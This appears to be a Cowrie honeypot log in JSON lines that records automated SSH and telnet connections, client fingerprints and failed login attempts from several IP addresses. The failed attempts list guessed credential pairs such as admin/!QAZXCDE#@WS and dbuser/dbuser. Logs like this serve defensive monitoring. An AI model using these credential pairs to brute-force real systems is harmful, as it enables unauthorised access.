{"eventid":"cowrie.session.closed","duration":12.80344033241272,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:43.556459Z","src_ip":"167.62.82.103","session":"3db30a3efdaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab647e71144","protocol":"ssh","message":"New connection: 95.240.192.149:48196 (10.17.0.5:22) [session: aab647e71144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:48.254243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:48.259173Z","src_ip":"95.240.192.149","session":"aab647e71144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:48.374802Z","src_ip":"95.240.192.149","session":"aab647e71144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZXCDE#@WS","message":"login attempt [admin/!QAZXCDE#@WS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:48.850060Z","src_ip":"95.240.192.149","session":"aab647e71144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:49.964097Z","src_ip":"95.240.192.149","session":"aab647e71144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.206.153.191","src_port":57877,"dst_ip":"159.203.135.109","dst_port":23,"session":"e982fbe6bc74","protocol":"telnet","message":"New connection: 115.206.153.191:57877 (159.203.135.109:23) [session: e982fbe6bc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:42.756580Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":43686,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4860be48dd2","protocol":"ssh","message":"New connection: 95.240.192.149:43686 (10.17.0.5:22) [session: d4860be48dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:48.401406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:48.406625Z","src_ip":"95.240.192.149","session":"d4860be48dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:48.519463Z","src_ip":"95.240.192.149","session":"d4860be48dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"arma3","message":"login attempt [arma3server/arma3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:49.000273Z","src_ip":"95.240.192.149","session":"d4860be48dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:50.116564Z","src_ip":"95.240.192.149","session":"d4860be48dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.24683165550232,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:23:55.003296Z","src_ip":"115.206.153.191","session":"e982fbe6bc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":38396,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35cb6ea0f3f","protocol":"ssh","message":"New connection: 43.165.177.199:38396 (10.17.0.5:22) [session: a35cb6ea0f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:26.400939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:26.408517Z","src_ip":"43.165.177.199","session":"a35cb6ea0f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:26.593114Z","src_ip":"43.165.177.199","session":"a35cb6ea0f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"idc123456","message":"login attempt [admin/idc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:27.365786Z","src_ip":"43.165.177.199","session":"a35cb6ea0f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:28.553845Z","src_ip":"43.165.177.199","session":"a35cb6ea0f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":42774,"dst_ip":"10.17.0.5","dst_port":22,"session":"76997be8d72b","protocol":"ssh","message":"New connection: 95.240.192.149:42774 (10.17.0.5:22) [session: 76997be8d72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:40.504213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:40.508780Z","src_ip":"95.240.192.149","session":"76997be8d72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:40.617967Z","src_ip":"95.240.192.149","session":"76997be8d72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"dbuser","message":"login attempt [dbuser/dbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:41.084182Z","src_ip":"95.240.192.149","session":"76997be8d72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:24:42.196045Z","src_ip":"95.240.192.149","session":"76997be8d72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":59510,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba7377af7b5b","protocol":"ssh","message":"New connection: 95.240.192.149:59510 (10.17.0.5:22) [session: ba7377af7b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:25:39.668466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:25:39.672506Z","src_ip":"95.240.192.149","session":"ba7377af7b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:25:39.785630Z","src_ip":"95.240.192.149","session":"ba7377af7b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"666666","message":"login attempt [user/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:25:40.260109Z","src_ip":"95.240.192.149","session":"ba7377af7b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:25:41.372801Z","src_ip":"95.240.192.149","session":"ba7377af7b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":38434,"dst_ip":"10.17.0.5","dst_port":22,"session":"18484247a841","protocol":"ssh","message":"New connection: 43.165.177.199:38434 (10.17.0.5:22) [session: 18484247a841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:30.872790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:30.878286Z","src_ip":"43.165.177.199","session":"18484247a841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:31.046598Z","src_ip":"43.165.177.199","session":"18484247a841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bani","message":"login attempt [admin/bani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:31.750777Z","src_ip":"43.165.177.199","session":"18484247a841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:32.922048Z","src_ip":"43.165.177.199","session":"18484247a841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":60178,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcba85620b67","protocol":"ssh","message":"New connection: 95.240.192.149:60178 (10.17.0.5:22) [session: dcba85620b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:33.824690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:33.829057Z","src_ip":"95.240.192.149","session":"dcba85620b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:33.942351Z","src_ip":"95.240.192.149","session":"dcba85620b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"124","message":"login attempt [ubuntu/124] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:34.477484Z","src_ip":"95.240.192.149","session":"dcba85620b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:35.593358Z","src_ip":"95.240.192.149","session":"dcba85620b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24998,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7dd7ce1996a","protocol":"ssh","message":"New connection: 194.59.206.2:24998 (159.203.135.109:22) [session: b7dd7ce1996a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:44.659306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:45.270419Z","src_ip":"194.59.206.2","session":"b7dd7ce1996a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:45.275202Z","src_ip":"194.59.206.2","session":"b7dd7ce1996a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:26:47.613481Z","src_ip":"194.59.206.2","session":"b7dd7ce1996a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":57512,"dst_ip":"10.17.0.5","dst_port":22,"session":"a716c4746e16","protocol":"ssh","message":"New connection: 95.240.192.149:57512 (10.17.0.5:22) [session: a716c4746e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:27:27.737972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:27:27.741876Z","src_ip":"95.240.192.149","session":"a716c4746e16","protocol":"ssh"}
